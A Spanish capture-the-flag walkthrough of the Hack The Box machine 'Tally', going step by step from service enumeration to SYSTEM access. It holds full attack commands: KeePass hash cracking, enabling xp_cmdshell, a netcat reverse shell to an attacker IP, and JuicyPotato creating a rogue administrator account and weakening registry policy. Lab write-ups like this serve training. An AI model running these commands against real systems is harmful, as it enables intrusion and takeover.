HTB_Tally
Tally {-}
Introduccion {-}
La maquina del dia 20/08/2021 se llama Tally.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.59
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.59
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.59 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.59 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
21 | ftp | Conexion como Anonymous | |
80 | http | Web, Fuzzing | |
81 | http | Web, Fuzzing | |
135 | msrpc | ||
139 | netbios | ||
445 | smb | Null session | |
808 | ccproxy-http? | ||
1433 | ms-sql-s | ||
5985 | WinRM | evil-winrm | credenciales |
15567 | http | Web, Fuzzing | |
32843 | mc-nmf | Puertos por defecto de windows | |
32844 | mc-nmf | Puertos por defecto de windows | |
32846 | mc-nmf | Puertos por defecto de windows | |
47001 | http | Puertos por defecto de windows | |
49664 | msrpc | Puertos por defecto de windows | |
49665 | msrpc | Puertos por defecto de windows | |
49666 | msrpc | Puertos por defecto de windows | |
49667 | msrpc | Puertos por defecto de windows | |
49668 | msrpc | Puertos por defecto de windows | |
49669 | msrpc | Puertos por defecto de windows | |
49670 | msrpc | Puertos por defecto de windows |
Conexion Anonymous con ftp {-}
ftp 10.10.10.59
Name: anonymous
Password:
User cannot login
El usuario anonymous no esta habilitado.
Analyzando el SMB {-}
crackmapexec smb 10.10.10.59
smbclient -L 10.10.10.59 -N
Vemos que estamos en frente de una maquina Windows Server 2016 Standard de 64 bit pro que se llama TALLY en el dominio TALLY. No podemos connectarnos con un NULL Session.
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.59
Nos enfrentamos a un Microsoft Sharepoint con un IIS 10.0
Analyzando la web con Firefox {-}
Entramos en un panel Sharepoint y vemos en la url que hay un _layouts
Buscamos en google por la palabra sharepoint pentest report
y encontramos la web de pentest-tool. Esto
Vulnerability Assessment {-}
Sharepoint _layouts
{-}
El enlaze de la pagina web es un reporte donde se pueden ver routas interesantes detectadas durante un processo de auditoria.
- http://sharepointtarget.com//_layouts/viewlsts.aspx
- http://sharepointtarget.com//_layouts/userdisp.aspx
- http://sharepointtarget.com//_layouts/userdisp.aspx?ID=1
- http://sharepointtarget.com//_layouts/aclinv.aspx
- http://sharepointtarget.com//_layouts/bpcf.aspx
- http://sharepointtarget.com//_layouts/groups.aspx
- http://sharepointtarget.com//_layouts/help.aspx
- http://sharepointtarget.com//_layouts/mcontent.aspx
- http://sharepointtarget.com//_layouts/mobile/mbllists.aspx
- http://sharepointtarget.com//_layouts/people.aspx?MembershipGroupId=0
- http://sharepointtarget.com//_layouts/recyclebin.aspx
- http://sharepointtarget.com//_layouts/spcf.aspx
Si vamos a la url http://10.10.10.59/_layouts/viewlsts.aspx
ya vemos cosas interesantes. Si pinchamos en Shared Documents podemos ver un documento
llamado ftp-details y si pinchamos en Site Pages vemos un fichero FinanceTeam. Nos los descargamos.
Si abrimos el fichero ftp-details.docx
con libre office vemos una contraseña. Si miramos la pagina FinanceTeam, vemos un mensaje donde podemos ver
usuarios potenciales y un ftp account name.
Conneccion con FTP {-}
ftp 10.10.10.59
Name: ftp_user
Password: UTDRSCH3c"$6hys
Hemos podido authenticarnos. Si le damos a dir
vemos muchos directorios. Si es el caso, S4vi nos propone usar de la Heramienta curlftpfs
para montarnos
una montura por ftp
apt install curlftpfs
mkdir /mnt/ftp
curlftpfs ftp_user:'UTDRSCH3c"$6hys'@10.10.10.59 /mnt/ftp
cd /mnt/ftp
tree
Aqui vemos un fichero tim.kdbx
. Es interesante porque los ficheros KDBX son ficheros KeePass y suelen tener informaciones interesantes como contraseñas.
cp User/Tim/Files/tim.kdbx /home/s4vitar/Desktop/S4vitar/Tally/content/.
cd !$
chmod 644 tim.kdbx
apt install keepassxc
Si lanzamos el KeePassxc y que le damos a abrir una base de datos existente, buscamos el fichero tim.kdbx
vemos que nos pide una contraseña.
En este caso bamos a lanzar un keepass2john para crackear la contraseña.
Crackeando un fichero KDBX con keepass2john {-}
keepass2john tim.kdbx > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Ya tenemos la contraseña. Podemos abrir el fichero KDBX con Keepassxc y aqui ya encontramos una credencial por el usuario Finance. Vamos a checkear los recursos compartidos a nivel de red con este usuario.
SMB {-}
smbclient -L 10.10.10.59 -U "Finance%Acc0unting"
smbclient //10.10.10.59/ACCT -U "Finance%Acc0unting" -c "dir"
Tenemos accesso a un nuevo directorio pero contiene muchos otros directorios. Nos creamos otra montura
mkdir /mnt/smb
mount -t cifs //10.10.10.59/ACCT /mnt/smb -o username=Finance,password=Acc0unting,domain=WORKGROUP,rw
cd /mnt/smb
tree
Aqui vemos que hay ficheros ejecutables en la carpeta zz_Migration/Binaries/New Folder/
y un binario llamado tester.exe
nos
llama la attencion.
cp "/mnt/smb/zz_Migration/Binaries/New Folder/tester.exe" /home/s4vitar/Desktop/content
cd /home/s4vitar/Desktop/content
file tester.exe
Vemos que es un ejecutable windows. Lo vamos a analyzar con radare2 para saber lo que hace a bajo nivel
EXE analysis con radare2 {-}
radare2 tester.exe
> aaa
> s main
> pdf
Bueno aqui podemos ver un usuario y una contraseña para la base de datos MS-SQL
[ ! ]NOTAS: tambien se podria usar el commando
strings tester.exe | grep "PWD" | tr ';' '\n' | batcat
Conneccion a la base de datos {-}
sqsh -S 10.10.10.59 -U 'sa'
password: ********
Es valida y estamos connectado a la base de datos
xp_cmdshell "whoami"
go
El commando xp_cmdshell a sido desactivado. Vamos a activar la possiblidad de ejecutar commandos.
sp_configure "show advanced options", 1
reconfigure
go
sp_configure "xp_cmdshell", 1
reconfigure
go
Ya podemos ejectuar commandos
xp_cmdshell "whoami"
go
#Output
tally\sarah
[ ! ]NOTAS: tambien se podria usar el commando
impacker-mssqlclient WORKGROUP/sa@10.10.10.59
y con este commando no tendriamos que darle siempre a go.
Como tenemos possiblidad de ejecutar commandos a nivel de systema, nos vamos a connectar a la maquina.
Vuln exploit & Gaining Access {-}
Ganando accesso con MS-SQL {-}
-
Nos ponemos en escucha por el puerto 443
rlwrap nc -nlvp 443
-
Compartimos el binario nc.exe
locate nc.exe cp /usr/share/sqlninja/apps/nc.exe . impacket-smbserver smbFolder $(pwd) -smb2support
-
Desde el ms-sql
xp_cmdshell "\\10.10.14.7\smbFolder\nc.exe -e cmd 10.10.14.7 443"
Ya hemos ganado accesso al systema como el usuario Sarah y podemos ver la flag
Privilege Escalation {-}
Rootear la maquina {-}
systeminfo
whoami /priv
Aqui vemos que tenemos el SeImpersonatePrivilege
;)
Tiramos como siempre de JuicyPotatoe.exe
Lo descargamos en la maquina de atacante y lo enviamos a la victima.
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
cp /usr/share/sqlninja/apps/nc.exe
python3 -m http.server 80
En la maquina victima lo descargamos
cd C:\Windows\Temp
mkdir privesc
cd privesc
iwr -uri http://10.10.14.7/JuicyPotato.exe -OutFile JuicyPotato.exe
Nos creamos un nuevo usuario con el JuicyPotato.
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user s4vitar s4vitar1234$! /add"
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators s4vitar /add"
Si comprobamos con el commando crackmapexec smb 10.10.10.59 -u 's4vitar' -p 's4vitar1234$!'
Vemos que el usuario no esta pwned.
Aqui tenemos que
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net share attacker_folder=C:\Windows\Temp /GRANT:Administrators,FULL"
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
Si comprobamos otra vez con crackmapexec, vemos ahora que el usuario s4vitar esta pwned. Ya nos podemos connectar con psexec
impacket-psexec WORKGROUP/s4vitar@10.10.10.59 cmd.exe
Password: s4vitar1234$!
whoami
#Output
nt authority\system
cd C:\Users\Adminstrator\Desktop
dir
type hm.txt
Aqui nos dice que la flag no esta aqui. Pensamos a Alternative Data Streams.
dir /r
more < hm.txt:root.txt
;)